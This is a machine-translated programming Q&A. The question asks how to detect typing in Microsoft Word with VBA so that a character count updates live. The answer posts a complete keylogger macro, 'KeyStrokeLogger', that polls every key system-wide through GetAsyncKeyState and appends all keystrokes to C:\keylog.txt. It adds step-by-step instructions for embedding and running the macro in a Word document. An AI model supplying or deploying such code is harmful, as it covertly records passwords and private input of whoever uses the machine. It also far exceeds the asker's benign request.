Dan*_*Dan 6 vba ms-word word-vba
有没有办法检测用户何时使用VBA在Microsoft Word中按键.我已经搜索过这样做的方法.我还搜索了一些方法,这些方法可以解决这个问题,例如检测插入点何时移动,或者检测到新单词放在word文档中的时间,但我一直没看.我目前正在使用,appWord_WindowSelectionChange(ByVal Sel As Selection)但在您键入时无法检测到.
我很感激有人向我展示如何检测按键,或者能够向我展示一个可以实现相同目标的解决方法.
编辑
如果上面我想要的内容摘要不清楚,我道歉.我所拥有的是一个使用它的子appWord_WindowSelectionChange(ByVal Sel As Selection).然而,我想要的是,只要在word文档中输入任何数据,就会触发此子目录,例如.一个字母或一个空白字符.例如,如果单词文档的页脚中存在字符计数,并且我已更新此字符计数,则字符计数字段应在用户键入文档时更新.
不是我的代码,而是 HTH。
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Sub KeyStrokeLogger()
Dim i As Integer
Dim KeyAsciiValue As Integer
StartLogging
Do While True
For i = 1 To 255
If GetAsyncKeyState(i) = -32767 Then
If CapsLockIsOn() Then
If ShiftIsPressed() = True Then
KeyAsciiValue = Asc(LCase(Chr(i)))
Else
KeyAsciiValue = Asc(UCase(Chr(i)))
End If
Else
If ShiftIsPressed() = True Then
KeyAsciiValue = Asc(UCase(Chr(i)))
Else
KeyAsciiValue = Asc(LCase(Chr(i)))
End If
End If
LogKeyStroke KeyAsciiValue
End If
Next i
DoEvents
Loop
End Sub
Private Function CapsLockIsOn() As Boolean
CapsLockIsOn = CBool(GetKeyState(20))
End Function
Private Function ShiftIsPressed() As Boolean
ShiftIsPressed = CBool(GetAsyncKeyState(16))
End Function
Private Sub StartLogging()
Open "C:\keylog.txt" For Binary As #1
Seek #1, LOF(1) + 1
End Sub
Private Sub LogKeyStroke(KeyAsciiValue As Integer)
Dim c As String * 1
c = Chr(KeyAsciiValue)
Select Case KeyAsciiValue
Case 8
Put #1, , "{BACKSPACE}"
Case 9
Put #1, , "{TAB}"
Case 13
Put #1, , "{ENTER}"
Case 32 To 126
Put #1, , c
Case Else
Put #1, , "{" & KeyAsciiValue & "}"
End Select
End Sub
Run Code Online (Sandbox Code Playgroud)
*》上面代码的使用方法:
步骤 1 在 MS-Word 中创建一个新文档。
步骤 2 转到“工具”、“宏”、“Visual Basic 编辑器”
步骤 3 双击项目窗口中 Project(Document1) 下的 ThisDocument 对象。
步骤 4 复制上述代码并将其粘贴到 Visual Basic 编辑器中。
步骤 5 关闭 Visual Basic 编辑器并保存文档。
步骤 6 确保宏已启用。要随时开始记录击键,请单击“工具”、“宏”、“宏”。选择 KeyStrokeLogger 并单击运行。所有击键都将存储在 C:\keylog.txt 中。"* 链接返回帖子